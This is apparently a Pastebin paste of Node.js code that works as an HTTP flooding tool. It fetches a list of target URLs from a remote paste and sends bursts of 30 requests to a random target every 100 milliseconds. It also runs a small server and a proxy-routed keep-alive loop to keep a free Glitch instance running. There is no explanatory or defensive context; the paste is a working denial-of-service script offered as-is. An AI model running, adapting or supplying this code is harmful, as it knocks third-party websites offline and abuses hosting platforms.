Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- let request = require("request");
- request();
- let request = require("request");
- (async () => {
- let urls = await getUrls();
- setInterval(function() {
- spam(urls[Math.floor(urls.length*Math.random())])
- }, 100);
- })();
- async function getUrls() {
- return new Promise((resolve, reject) => {
- request("https://pastebin.com/raw/GqbaCiU0", function(error, response, body) {
- let urls = body.split("\n");
- for(let url of urls) {
- if(!url.startsWith("http")) reject("bad urls: "+body);
- }
- resolve(urls);
- });
- });
- }
- let spamId = 0;
- function spam(url) {
- spamId++;
- console.log("#"+spamId+" spamming "+url);
- for(let i = 0; i < 30; i++) request({method:'get', uri:url, timeout:10}).on('error',() => {});
- }
- // Just a dummy server for pinging:
- var express = require('express');
- var app = express();
- app.get("/", function (request, response) {
- response.send(spamId+"");
- });
- var listener = app.listen(process.env.PORT, function () {
- console.log('Your app is listening on port ' + listener.address().port);
- });
- // Keep alive:
- setInterval(function() {
- let url = encodeURIComponent(`https://${process.env.PROJECT_DOMAIN}.glitch.me/`);
- request(`https://nl.hideproxy.me/go.php?u=${url}&b=4&f=norefer`);
- }, 120*1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement